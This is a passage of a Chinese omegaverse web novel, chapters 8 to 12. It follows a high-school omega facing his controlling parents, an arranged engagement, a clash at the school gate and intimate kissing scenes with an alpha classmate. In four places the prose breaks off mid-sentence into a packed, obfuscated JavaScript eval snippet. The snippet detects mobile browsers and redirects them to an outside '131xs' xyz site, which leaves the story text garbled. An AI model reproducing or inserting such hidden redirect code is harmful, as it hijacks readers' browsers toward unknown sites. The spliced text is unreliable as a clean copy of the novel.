来自alpha信息素的气味,温热烈性的白兰地酒夹杂着香草味,来势汹汹又铺天盖地顺着他的嘴唇,进入他的口腔扩散到他的体内,把他里里外外强势笼罩住,与他身体里的橄榄信息素交汇,压制。 分明是蛮不讲理的入侵行为,然而很奇怪的是,他整个人却没有觉得难受,反而因为这股信息素身体变得平和、舒坦。 因为那通电话带来阴郁和焦虑的心情,随着信息素在体内的扫荡,整个人都变得轻松了许多。 这就是98%匹配度带来的安抚效果。 没想到还有这个效果...... 隽云第一次体会到,他愣在原地。 树影婆娑,九月份树上浓绿的树叶有些已经变黄。 等隽云的背影消失在转角处,匙越转过头去,和猫大眼瞪小眼。 小猫喵呜地叫了几声,蹒跚地朝他爬过来,爬到脚边,显得很亲近的样子,匙越一把拎起它的后脖颈,手上顿时染上了一抹土黄。 “早上给你喂了那么多饭,怎么还这么饿?” 小猫被他徒手拎起来,警惕地“哈”了一声,在半空中四爪张开,锋利的爪子毕现,可惜看着虚张声势,小短腿扑半天挠不到人,只能徒劳地被拎着后颈,在半空中转了半圈。 “他不要你了。”匙越熟练地避开它咬手的动作,把猫条递到它嘴边:“现在只能我来喂了。” * 夜幕降临,一辆迈巴赫停在豪宅门口,随后一个面容严肃的中年男人和戴金丝眼镜的中年女人下了车。 走近明亮的客厅,瓷砖地板层光瓦亮,映出客厅顶上巨大的繁复吊灯,几名佣人正将精美的盘子碗筷摆在餐桌上。 饭菜已经准备好了,于是男人将手表摘下来,递给旁边的管家,解开几袖口准备用餐。 隽云从旋转楼梯上下来时,就是见到这样一副场景。 他爸妈回来了。 隽云的神色顿时冷峻起来,薄唇抿成一条直线。 下了楼,坐在饭桌上,张嘴地叫了一声“爷爷、爸,妈”。 母亲元青和父亲隽诉则坐在副位,元青戴着金丝眼镜,面容佼好,保养得当,她正在看一份财经日报,听到脚步声,她抬头看向隽云: “司机说今天中午你迟到了几分钟?干什么去了?” 浓浓质问的语气像一盆瓢泼雨水扑过来,气氛瞬间降至冰点,隽云没说话,面色冷静地看着她,只有他知道他的心口有些堵闷,有些喘不过气来。 隽云坐在椅子上,看着旁边的佣人陆陆续续把菜端上来:“今天放学晚了。” 元青没说话,随后报纸一合,递给身后的佣人,看着他的目光带着些审视:“小云,你要知道,妈妈这么做都是为了你好。” 隽云不说话了,因为从小到大这句话他已经听了无数遍。 不管怎么样,不管他们做什么,都是为了他好,所以从来也不用考虑他的意见。 他只要听话就好了。 爷爷这时出声了,他叹一口气:“好了,吃饭吧。” 客厅重新恢复默然,佣人走路的声音都静不可闻。 吃了一会儿,隽诉想到什么,不紧不慢地说: “听馨言爸爸说,你这几天没有等她一起上学放学?” 隽云一下就明白了。 难怪会专程回来一趟。 平常一个月也不一定能在家里吃一顿饭。 原来是为了这个。隽云面无表情地想。 任何有可能破坏联姻的事情,他们都会非常上心。 “好了。”隽云听到他爸的声音沉稳,通知他:“从明天起,我会安排司机一同接送你和馨言,你也要好好表现,不要再让馨言伤心了。” 冷白的光从顶上照下,隽云的睫毛一颤,在眼窝处打下一层阴影,他看着桌上摆放的鲜花,在这样处处是冷白色调的房子里,花都是假的。 而他坐在这里,就像一个听话的木偶。 隽云手中的餐筷顿了顿,筷子挑起的米饭又放下去,他把餐碗往前推了一下,说: “我吃好了,你们吃吧。” 隽云脸色沉静,看起来并无异常,他拿起餐巾擦了擦嘴,然后拉开椅子起身走了。 爸爸妈妈爷爷都抬头看他,隽云的筷子没动几筷,他吃的很少,而他们也并没有挽留他。 回到房间,他把门关上。 门咔哒一声落锁,彻底隔绝走廊上的光线,漆黑的房间,即便没有开灯也能感受到房间布局的空旷,就好像这里不是他家,他从来没有融入过这里。 隽云靠在门后,在黑暗中静静地站了很久,直到他抬眼,看到了墙上一个亮着红光的东西——摄像头。 隽云走到床的另一边,拉开了床头柜最底下的一个的柜子,手伸进去摸了摸。 大半个床挡住了他的身体,他坐在地上——那里是监控死角,摄像头只能看到他坐在那里,拍不到他在做什么。 他从抽屉里拿出一个黄色的小鸭子一样的东西,触感像面团,用力按下去会回弹。 隽云坐在有些冰凉的地面上,一边用力地捏它,一边看向阳台。 阳台是飘窗设计,窗户没有关,夜凉如水,有些冷的风顺着没关的窗户吹进来,吹起了窗边的窗帘。 隽云心情不太好的时候就喜欢躲在这里发呆,一边捏东西一边看星星看月亮放空思绪是他放松的方式。 可惜今天天色是黑的。 他对着一片漆黑的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16473002|185571||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 天空放空了一会儿,再次确认了一个让人心情很不好的事实——今天晚上一点光都没有。 隽云将捏扁的捏捏丢到一边,脑袋往后一靠,枕在床垫上。 他有些烦躁。 深呼吸了几个来回,隽云起身,再次拉开最底下的抽屉,伸手进去摸,在抽屉最里面有一个瓶子,拿出来摸了一下瓶口确认没有拿错,然后打开瓶口倒了两粒黄色的药丸出来。 吃完药后他起身把窗帘拉上,躺在床上。 房间里漆黑一片,隽云伸出手指,在黑暗中隐约能看到一个模糊的轮廓,他喃喃道:“好黑。” * 第二天早上,隽云下楼的时候,管家站在楼梯口,向他汇报他爸妈已经走了。 隽云并不太关心,他径直走去厨房,打开冰箱,拿出一瓶青苹果汁。 “老爷要做政府表态发言,所以大早上就出门了......夫人因为铭升集团要和国外一家企业谈项目,凌晨已经飞去国外了。” 隽云拧开易拉罐,插了一根吸管进去,对管家的汇报没怎么听但仍礼貌地回了一句:“好的。” 餐桌那边已经布置好了早餐,隽云拉开椅子坐下,拿着勺子挖了一勺酱抹在吐司上。 管家是个五十多岁穿着燕尾服的beta,在隽云出生之前就在家里了,处事十分周到,他微笑着提醒: “等会要去接叶馨言小姐,老爷说以后你们俩一起上下学,明年就要结婚了,得好好培养一下感情。” 星耀中学门前有两排绿油油的绿荫大道,早晨的阳光在树叶之间跳动,在柏油大路上投下树叶光斑。 到地方了,隽云拎起书包起身,关上车门。 另一边,一个女alpha也下了车,她身高一米八,比隽云高一点,穿着星耀的夏季校服,衬衫上衣,下半身是A字短裙。 她的短裙比常人的要短,腿袜也并不是学校统一的厚长黑色腿袜,而是短款的红色蝴蝶结和卡通图案白色袜子,显得腿很长。 这个点上学的人很多,路边有许多道车子关门的声音,有人认出隽家的车子,见叶馨言从隽云家的车上下来,有的人捂着嘴愣在原地,有的人和旁边的人窃窃私语: “天哪?” “隽云和叶馨言一起上下学?” “他们感情可真好啊......” 叶馨言听到了,她下巴微抬,嘴角扬起,心情特别好地迈着大步朝隽云走过去。 不想叶馨言黏着他,于是隽云加快了脚步,朝着大门走去。 叶馨言穿的是夏季的短袖,上身的衣摆扎进了裙子中,她几步跑过来挽上了隽云的胳膊,裙摆随着奔跑的姿势扬起一角,显得十分有活力。 她有意无意靠上隽云的肩膀,嗔怪道:“怎么不等我?” 柔软的胸部靠上来,隽云感受到热度,皱了皱眉,在他准备将手抽出的时候,突然响起一道刹车声。 车轮刹在地上发出刺耳的声音。 “抱歉,让让。” 一道压低的声音从后方传来。 9. 第九章 叶馨言嫌烦地皱了皱眉,她稍微站直了一些,没贴得跟隽云那么亲密了,胸前的卷发被撩起甩到后面,她转头,有些烦躁地向后看去。 一个手上缠着黑色绑带的男生正单手把着单车头,一只脚踩地,一只腿踩在脚踏上,好看的唇形开合: “喂。” 他戴着黑色防风镜,露出来的下半张脸线条清晰俊朗,朝她扬了扬下巴: “让一下。” 让? 叶馨言嗤笑一声:“你谁啊你?凭什么让我让?” 这个人戴着墨镜,叶馨言没认出来他是谁,然而隽云的视线落在他的嘴唇上,几乎是一秒就认出来他是谁了。 因为,他们亲过太多次了...... 隽云的手倏地收紧,呼吸变缓了一瞬。 不少人看向他们,围观的学生们三两成群聚在一起,指着他们窃窃私语: “诶诶,现在这年头在星耀还有人骑车上学呢?” “感觉是个社会招考生,只有社会招考生才骑车。” “不过那不是隽云和叶馨言吗?” “你们说的那个人......长的好像匙越啊......” “什么?你说的是那天开学典礼上讲话的那个匙越!?” “天啊他怎么还敢出现在隽云面前?” “这是来找茬的吧?” “我就说他和隽云不对付,果然!” “所以现在匙越是在隽云和叶馨言面前挑衅吗?” 围观的路人立马拿出手机拍了张照片,发到了学校的聊天大群里。 “团结友爱、互抱大腿”群聊: 【照片.JPG】 虚焦的背景,但学校的门头厚重,上面金色的大字刻着“星耀中学”四个字,不难看出这是在校门口。 照片里,打扮精致妆容漂亮的女alpha挽着一个眉眼冷冽的omega的胳膊站在路中间,对面是一个骑车的高大alpha。 “团结友爱、互抱大腿”群飞快出现一堆消息往上推,不一会儿就99+了: [号外号外,现场直播!] [杠上了!!!] [这谁啊?] [好像是匙越、隽云和叶馨言。] [匙哥牛啤,以一挑二!] [切,社会招考生装什么逼。] [看不惯加一,把社会招考生赶出学校。] [什么什么?匙越又要被隽云赶出星耀了!?] [什么什么?又要打起来了吗?] 现在是上学时间,周围停了很多私家车,绿荫的树道旁边有人行道,不少路过的学生们都停住脚步朝他们这边看。 已经入秋了,男生还穿着夏季的校服,单薄的白色夏季衬衫下男生的身体肌肉紧实,手臂青筋起伏——这让在场人都清晰地意识到这是一个很强劲的alpha。 车头距离叶馨言只有半米不到的距离,三人对峙着,匙越神情莫测,捏着车刹头手把的手指劲瘦有力,他松了松指间的力气,似乎是不小心没有按住。 他遗憾而抱歉地“啊噢”了一声。 霎时,手刹松动,车轮惯性往前进,几乎威胁性地抵在了叶馨言十几万的鞋上。 叶馨言下意识后退了一步,出于alpha的本能,她感受到了来自另一个alpha身上散发的不善和威胁,甚至这股威胁让她调动了全身信息素进入alpha的戒备战斗状态,横眉冷竖地看着他,音量增大: “你没事吧?旁边这么大的道,你不能走啊?” “你挡在路中间,我怎么走?”那人直起身,双臂环胸看着她。 校门的门头是石头堆砌的,形似拱门,接送学生的车子一般都会停在离校门一两百米的地方停下,自行车道顺着一段坡路骑下来倒是会从星耀中学正门中间骑进去,行人走两边。 叶馨言下意识看了一下旁边,还真是,她刚才追隽云的时候追的急,没注意他俩没有沿着边走。 但是左右两边又不是没有空位了,偏偏撞到他们身上干什么? 从来没有人敢说她挡道,毕竟就算她真挡了,其他人也会让她先走,毕竟她的身份地位摆在那,她是叶家的独生女,还是隽云的未婚妻。 还从来没有人让她靠边走过。 “咚~咚~咚~” 学校钟楼的钟声响起,代表现在已经七点整了,再过一会儿要上第一节课了。 “还不让啊?” 匙越勾了唇,墨镜后的眼睛里却并没什么笑意,他踩了一下脚踏,车轮滚动,就这么撑着车把,骑了过去。 “......”没想到匙越这么...... 隽云飞快把叶馨言挽在他胳膊上的手打下去,然后推开她。 叶馨言还没来得及生气,车子就过来了,她不得不狼狈地往旁边踉跄走了两小步避风头。 留出的距离还是太窄,叶馨言的肩膀被匙越轻轻撞了一下,她顿时气急败坏地捂着胳膊冲他喊: “你是哪个班的?我不会放过你的!” 匙越没回她,他吹了一声口哨,这一声哨音嘹亮响亮,韵律回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16473003|185571||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 响。 匙越俯着身体骑单车,穿着夏季的白衬衫,红底橙白双细纹的领带飘起,衬衫鼓风,发丝往后飞扬,好不惬意地骑进了校门。 叶馨言以及在场的同学就这么眼睁睁看着他骑进了校园。 ...... 隽云什么也没说,在叶馨言嚷嚷着“胳膊疼”的时候,只是扫了一眼,很冷淡地转身就走了,甚至没有带她去医务室看看。 围观的同学哗然: “这......这什么情况?” “隽云这就放他走了?” “也不管叶馨言了?” “他们俩不是感情很好吗?” 叶馨言看着他离去的背影,也不捂胳膊了,气的在原地跺了一下脚。 * 早上的小插曲很快就过去了。 上午最后一节课是马术课,刚开学没多久上课强度不会很大,主要是讲一些理论,因而提早了几分钟下课。 教室里吵吵嚷嚷,隽云听到文强的声音从侧后方传过来:“喂,陆思华,我们一起去吃食堂吧?” “嗯。”陆思华的声音传来:“隽云,一起?” 隽云没回话,他正在收拾东西,文强笑嘻嘻从后面搂住他的肩膀:“咱们就一起去吧!” 文强和陆思华和隽云三人关系在星耀中学里是算比较好的。 他们三从幼儿园就在宴会饭局上认识了,这些年相处下来,关系一直都算不错,到星耀中学后,三个人更是因为家世地位和成绩,被分到了同一个班。 文强掰着手指头数:“开学到现在还没一起吃过饭的,要不就今天?” 隽云刚把桌面上的东西整理好,他拿出手机看了一眼,屏幕亮起,是一只黄色的胖猫在一堆黄色的银杏叶上面,页面上显示有几个未知消息还没看。 解锁密码后打开消息软件,最新消息是sy1011发来的。 -sy1011:小猫咪送去学校的小猫咪社团了。 隽云在小猫咪三个字上多看了两眼,他记得是叫星耀中学关爱猫狗社团。 文强还在耳边絮絮叨叨,见他看手机,也凑个脑袋凑过来要看,隽云稍微调低了点亮度,飞快打字: -云:ok。 很快的,sy1011又发来消息了,只有几个字,手机震动一下像是在提醒他。 -sy1011:今天还没亲。 文强这时凑了过来,突然出声吓他:“你在看什么?” 隽云慌乱了一瞬,他按到手机侧面的键,猛地把屏幕息屏了。 10. 第十章 黑色的屏幕倒映出两张脸,文强刚好凑过来,可惜没看到,他失望地“啊”了一声。 “你在干嘛啊隽云?”文强嘟囔:“你在和谁发消息?这么见不得人,还不给我看......” “......”确实有点见不得人。 隽云尽量让自己的语气听起来很平静:“没有,你想多了。” “那等会你跟我们去吃饭吗?” 隽云视线落在靠门最后一排的桌椅上,那里空空荡荡,桌子上的书都收拾干净,挂着的书包不翼而飞,早就没有人在那了。 想到前一秒的短信内容,隽云犹豫了一下:“我不去了吧。” “什么!?”文强瞪大了双眼看向隽云:“为什么啊!” 陆思华眉宇微凝,也奇怪地看着他。 隽云淡笑:“有事情,下次再聚吧。” 提早放学十分钟,走去校门也需要时间,他看了一下表,没有什么多余的时间留给他了。 隽云将手机揣进裤兜里,然后起身。 “到底什么事啊?”文强纳闷问:“怎么感觉隽云这段时间有点反常?” 陆思华目送隽云的背影出了教室,他收回目光:“他的秘密很多,不能告诉我们。” * 星耀中学教学楼都是有廊桥的,每栋都与食堂那一栋相连,校园里种了很多葱郁的大树,树冠高大,在地面投下斑斓的阴影。 快下课了,来来往往三两成群穿校服的学生出现在玻璃廊道上往食堂走去,绿色的爬山藤爬满大面墙的教学楼,楼下有的人在打羽毛球。 匙越穿着衬衫校服,手插在裤兜里,他靠在楼梯间靠右边的墙上,再右边一点是高一的教室,有不少打闹嬉笑的声音传出。 前面是一个白色的护栏,护栏上是不锈钢做的拦网,上面爬满了绿色的爬山藤,阳光从爬山藤之间的间隙泄出,照在匙越的头发丝上,将他半边脸的轮廓和身影也照的发亮。 隽云看到他对面有人。 匙越微低着头,鼻梁很高,额发自然下垂,他曲着一根修长的手指,点在了对面男生递过来的粉色信封上: “这是什么?” 男生的头发短而蓬松,戴着一个眼镜,脸很红,模样可爱,他双手捧着信封,郑重其事地递给他。 “你看看就知道了。” 于是匙越接过,食指和中指卡着信封,将它转过来,信封口朝上,紧接着,他就看到了封口的地方贴着一颗红色的爱心。 隽云也看到了。 这是...... 他一愣,猛地在楼梯上停住。 在表白? 隽云站在楼梯上,有人与他擦肩而过,聊天的声音从楼梯间传下来: “诶,你刚刚看到一班的那个社会招考生了吗?” “天啊,那个男生是在和他表白吗?” “嘶!!!好勇,但是我记得他不是喜欢隽云吗?” “哎呀你懂什么,两个o是没有结果的啦~” 隽云听到了,眉心动了动,不是很理解他们在说什么。 那个omega和他有什么关系?他并不认识他,甚至记忆中并不记得有这么个人。 不过, 他确实有点不太高兴。 隽云抬手看了一眼表,又过去了两分钟,也就是说,他的时间一再要被其他事情压缩。 这个认知让隽云有点不满——对匙越单方面的。 他最好能速战速决。 男生正红着脸对匙越倾情告白:“我从开学第一天就注意到你了,匙越同学,我不介意你是社会特招生......你能不能当我男朋友?听说你家......家境不好,我家是开饭店的......我可以养你......” 匙越唇角一勾,有意思地重复了一句:“你想养我?” 隽云:“........” 隽云站在台阶上将他们的对话听完了,匙越没有接受也没有拒绝那个男生,反而似乎纠结在“养”这个点上。 隽云垂下细密的睫毛,他冷漠地想。 是不是他给的东西太少了? 他只给过他学生代表、四套校服,没给过钱,而社会招考生最缺的就是钱。 不知道自己多给他点钱能不能让他快点滚过来。 隽云的目光透着一丝凉意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16473004|185571||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,脸上清冷无温,薄薄的唇微抿,他抬手看了看表。 还有五分钟,司机就会给他打电话了。 再不过来就要没时间了。 就在隽云准备出声让他过来的时候,恰好不远处有一个男生在招呼omega男生去吃饭,于是粉色的信封被塞到匙越手上。 男生羞赫一笑,嘴角的酒窝浮现:“你考虑一下啦~拜托拜托~” 两个娇小的男omega身影逐渐走远,匙越拿着手上的信封打量了一下,他转过头,一眼就看到了隽云站在台阶上。 他有些意外:“你怎么在这?” 隽云似乎是有些怕冷的,穿着一件宽大的校服外套,手腕垂在身侧,和人一样清瘦,面庞白皙,线条起伏很漂亮但是没什么表情,眼神冷淡疏离。 长而黑的碎发盖到眉骨的位置,他的眼睛很漂亮,瞳孔很黑,单眼皮眼尾微扬,他下巴微抬,朝男生跑走的方向示意: “你要不要追过去?” 他在确认他接下来还有没有心思和他接吻。 匙越看了他一会儿,眸色幽深,反问了一句:“我为什么要追过去?” 隽云冷笑一声:“你不喜欢他吗?” 他刚刚才想起来,那个omega男生他见过的。 去年他们上的同一堂实验课,他发情期到了导致信息素外泄使得教室里的学生都被疏散,在走之前,隽云递给了他一个阻隔贴。 后来他听班里的alpha们议论过,那个omega男生是牛奶冰淇淋味道的信息素,那股甜甜的奶味他们都觉得很好闻。 匙越说不定也会喜欢他的信息素味道。 而不是他的酸涩味。 匙越盯着他:“没,我不喜欢。” 倏而,一阵风飘过,匙越背后的爬山藤叶子漱漱响动,中午的阳光似乎有些失焦,只能看到匙越站在阳光前,眉骨硬朗,似笑非笑地看着他。 日晕眩眼,伴随着风吹过沙沙音,隽云的心跳漏跳了一拍。 “哦......” 隽云听到自己的声音倏地发紧。 匙越的目光落在他身上,声音很轻:“过来。” 11. 第十一章 两人一前一后,保持着非常远、不太熟、不认识的前后距离,去了一个没人的偏僻校园角落。 星耀的外墙建的很高,周围都是绿树和花坛,离教学楼很远,倒不用担心被人看到。 隽云对着墙呼出一口气,他转过身。 匙越走到他的近处,隽云抬手扯住匙越的校服领带,把他扯下来,他踮起脚,准备速战速决。 “来。” 没有看准,隽云莽撞生涩地撞了上去,有点痛。 隽云停顿住:“呃......” 硌到牙齿了...... 两片唇瓣也没有完全贴合到一起,匙越扫了眼隽云,恰好这时隽云因为痛而睁开眼睛,这一下便撞入了那片深沉打量的墨色眼眸之中。 “......” 下一秒,隽云的呼吸打在匙越的脸上,气息有些不稳,耳尖逐渐浮上一抹粉色。 匙越眼底闪过一丝笑意,只觉得这个人看上去又冷又不好亲近,但是实际上一做这种亲密的事情就又会很紧张。 实在是...... 有点可爱。 他的眸色逐渐晦暗,宽大的手掌扶上了隽云的后腰,掌着他的腰,把他往自己身上带了带。 两人的身体大幅相贴,滚烫的温度透过衣服传递过来,隽云毫无察觉,因为他此刻脑袋有些晕沉,信息素控制不住地从体内散发出来,身体散发热度,甚至连腺体都滚烫起来。 隽云毫无技巧地蹭贴他的唇,试探性地啄舔了一会儿,感觉差不多了就准备松开他了。 匙越的呼吸有点沉,稍微离开点距离,呼吸扑在他的面庞上:“你可以这样......” 匙越的手按在他的脑后,双唇一动,咬了一下他的唇,隽云猝不及防地出了声。 “唔......” 太...... 温温甜甜带着白兰地葡萄酒的味道突然变得浓郁起来,让人晕眩。 不同于他的蹭蹭贴贴,隽云牙关失守后,匙越顺势长驱直入,技巧娴熟地探入他的唇间,吮吻开他的唇瓣,在他的口腔里搜刮,细密地舔过他的齿贝,轻巧地卷起他的舌尖含吮,与他交换津液,隽云拽住他衣服的手一下就拉紧了。 嘴唇的触感软到不可思议,发丝的顺滑冰凉,匙越忍不住插进他的发丝,指腹轻轻摩挲他的头皮。 头皮摩挲的快感过电般随着脊柱而传到脊椎骨,让隽云忍不住战栗。 亲密的亲吻声、密切交换唾液渍吻声...... 隽云感官过载,超出了他的理智范围内,他觉得自己好像处在一个蒸笼之中,脑袋轰隆作响,铃声、远处教学楼传来的吵闹声都听不见了...... 昏昏沉沉目眩神迷中,匙越的舌尖与他相碰,酥麻的感觉升起,恍惚中,隽云似乎闻到了一种清扬的果香,带着一种酸涩的苦感。 这......是他自己信息素的味道。 喘息中,隽云的橄榄香信息素情不自禁释放开来,勾缠匙越的酒味信息素,与它融合,紧密地交融在一起。 ...... ...... 这次亲吻比以往任何一次都要久。 分开的时候有透明的银线缠绵着挂在两人的唇上,匙越垂眸,又在他的唇上轻轻“啾”了一下,把丝线扯断了。 隽云浑身一颤,脸上有薄红,说不清是热的还是别的什么...... 隽云睁眼,眼睛里雾蒙蒙,仿佛被一场春雨淋湿,细密飘荡这雨雾,往日清凌的眼眸里聚满了水汽,虚虚笼笼地看过来。 匙越喉头一紧,视线从他的眼眸往下,落在他泛水光的红唇上,受到蛊惑似的,他再次偏过头,缓缓靠近...... 隽云的呼吸急促滚烫,与他呼吸交缠,暧昧朦胧的空气在他们二人之间胶着流动。 在距离只有几尺的时候,匙越停下来了。 隽云有些着迷他信息素的味道,见匙越迟迟不亲他,难耐地扯扯他的衣角,难得主动地往前凑了凑。 这是他哪怕稍微能清醒一点点,都绝对不会做的举动。 匙越盯着隽云迷蒙的表情,目光幽深晦涩,喉头上下一滚,他偏开头,躲掉了隽云这个不清醒的吻。 于是隽云的吻顺势就落在了他的脸上。 “不亲了。” 匙越抬手,掐住他的下颌,想要推开让他清醒点。 中指和拇指抵在脸侧上,脸颊边的肉压凹陷进去,满是热意的食指指尖划过他嫣红的唇瓣。 隽云的唇瓣微微开着喘气,于是匙越本来只是想抵住他的嘴唇不让他再继续亲了,却没想到他的食指探进去了,沾湿了。 感受到口腔里湿热的温度和唇瓣弹软的触感,匙越指尖一顿,没有拿出来。 匙越开口,嗓音低哑:“昨天没有亲,今天就亲的有点久了,介意吗?” 隽云没回话,呼吸急促炽热,头有点晕。 亲太久了,在巨量且高浓度的信息素冲击下,隽云好半天没有回过神来。 他闭了闭眼睛,含着他的手指缓了一会儿,再睁开的时候已经恢复了许多清明。 匙越放在他唇上的手恰好已经收走了,仿佛无事发生,神色依旧如常,只是食指指尖濡湿,背着那只手在身后,回味似地捻了捻。 见隽云清醒了,他又问了一遍刚才的问题:“这次亲的比较久,介意吗?” 没看匙越,隽云的声音有点飘乎:“没关系......” “那就好。” 匙越的另一只手还放在他的头上,十分顺手地揉了揉。 见隽云的表情有些空白,匙越神色认真: “你真的还好吗?” 隽云:“......” 匙越似乎很关切地问:“是不是发烧了?” 隽云:“......没有。” omega心理素质和身体素质总是比不上alpha的,更何况是在这种时候,信息素也有点控制不住地胡乱释放。 他脸上有薄红,带着汗,说话的声音也比以往软一点,带着点刚亲完的喘音:“我......还好。” 空气中浮动的橄榄香比平时接吻时还要浓上几倍,匙越觉得不对劲: “恐怕不太好,你的信息素不太对。” 隽云释放的信息素未免太过浓郁了。 隽云也能感觉自己身上的信息素正有些收不住地乱放,不过应该是情绪激荡引起的,但是他当然不可能承认——是因为接个吻导致自己的信息素控制不住了。 他别开眼:“......应该过一会儿就好了。” “不对,”匙越反应过来:“你应该是要发情了。” “?”隽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16473005|185571||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 云愣住。 匙越分析:“这么高浓度的信息素外泄,是发情的前兆。” 通常发情前几天身体会发出警示,比如说出现四肢乏力、腺体肿烫、情绪波动、信息素控制不住的情况,这些在卫生健康知识课上都有讲过。 “卫生课上说过,控制不住信息素通常是发情前兆,最多一个星期,身体就会进入发情状态了。” “你要发情了。”匙越又一遍地好心提醒他。 隽云脸色一黑,反驳:“我不是发情,我只是......”因为接吻情绪波动太大了才会控制不住信息素。 差点说出口的时候,隽云顿住。 “呃......不用。”于是他生硬地转折:“这周过完就满一个月了,到那时我的信息素就会很稳定了,不太可能出现发情热和发情的情况......到那时我们就可以结束这么麻烦的关系了,你也就不用每天给我信息素了。” 反客为主地说:“所以,在那之前......你有什么需求最好早点提,我会尽量满足你。” 他还没忘记之前那茬,提醒他道:“钱也可以,想要多少都可以。” “再说吧。”匙越笑了一声。 “那你有需要的话,你再联系我。” “嗯,”匙越应了一声,他顿了顿,说:“有需要的话,我联系你。” 隽云点头说:“好的。” 他抬手看了看手表,这次亲了十分钟...... 有点太久了。 终于意识到哪里不对劲,隽云脸色有些难看地拿出手机,手机里有十几个司机的未接来电还有一连串消息,他的脸唰一下就冷下来了,回消息,让司机在门口等他。 发完消息,隽云抬头,这才发现面前的人不知道什么时候不见了。 而匙越正站在几十米外的地方,利落地从口袋里抽出那封表白信,看都没看,丢进了绿漆的可回收垃圾箱里。 隽云目睹了他丢信的动作:“不看看吗?” 匙越的神色毫不在意,仿佛只是路过随手丢了个垃圾进去: “又不喜欢他,有什么好看的?” “......”隽云抿了抿唇,他从小到大接受到的精英教育告诉他应该这么做: “这都是别人的心意,你既然拿了就应该保存好,不然就不要接受别人的东西。” “噢。”匙越恍然地点头,转头问他:“所以别人给你的东西,你都会收好吗?” “当然。”隽云:“我家里有一个房间专门存放礼物,都保存的很好。” 不像匙越,在那位同学面前表现的很和善,微笑着收下礼物,目送着人离去,转头就面无表情地把东西丢到垃圾桶里了。 内心腹诽了一下,隽云看到匙越笑了一声,他莫名其妙:“你笑什么?” “笑你外冷心热,看似不太与人亲近,实际上还是个好孩子。”低沉的嗓音掐着点笑意。 从小到大收的东西确实都收到手软了,但是哪怕不熟,他还是会把别人的东西拿到那个房间里保存好。 好孩子? 隽云一愣。 隽云的头发被揉的有点乱,不像在教室里那种生人勿近的气质,唇角嫣红,眼睛睁的圆圆,显得整个人有点呆。 很难得的表情。 匙越突然有些手痒,他又想揉揉了。 12. 第十二章 他看到隽云从校服兜里拿出清新剂阻隔喷雾,按下喷头,喷了一下嘴,又按了好几下喷在自己身上,像水雾一样冰凉的雾状喷雾附在身上,直到身上闻不到一点其他人的信息素味道。 “又要回家?” “嗯。” “你爸妈,”匙越顿了下,因为这句话有些越界了,以他们纯“亲友”的身份,可能还是不太适合说,但是他还是说了: “你爸妈管你管的还挺严。” 隽云垂下眼睫遮住里面的情绪,声音淡淡:“他们就是这样,我都习惯了。” “真的吗?” 隽云没说话,好半响他说:“走了。” 匙越没有阻拦:“好的,路上小心。” * 随着车门“嘭”的一声关闭,司机从后视镜里看了眼隽云,确认是小少爷后便发动车子准备出发。 感觉有哪里不对,他又看了眼后视镜,然后司机小心翼翼地问:“少爷,您的头发怎么这么乱?” 隽云不明所以:“我头发乱?” 他往上抬了抬脸看了一下后视镜里自己的摸样,脸还是和平时一样干干净净 ,就是头上的头发卷翘凌乱,有几缕顽强地竖起,再配上他愣神的表情,看上去有点像傻子。 隽云:“......” 难怪匙越看着他的表情有点奇怪。 原来这么傻。 “没事。”隽云有气无力地说:“文强弄的。” 回去的时候家里依旧只有他在。 吃完午饭准备午休的时候,隽云的手机消息又响了。 隽云自从上高中后就容易失眠,准确来说是订婚后,所有事情都在被有条不紊地推着走,安排婚宴,招待宾客,家里放出消息叶家隽家两家联姻,隽家的股票一路高歌猛进,只有他开始失眠。 白天睡不着晚上入睡困难。 虽然自认为没有什么让他烦心的事情,毕竟,和谁订婚不是订? 反正他谁也不喜欢,也不可能喜欢上任何人。 但是就是开始失眠。 好不容易酝酿了一会儿睡意,这时枕头底下的手机震动了一声,隽云烦躁地摘下黑色的眼罩,另一只手在枕头边摸索了一会儿,然后眯着眼睛解锁开屏幕。 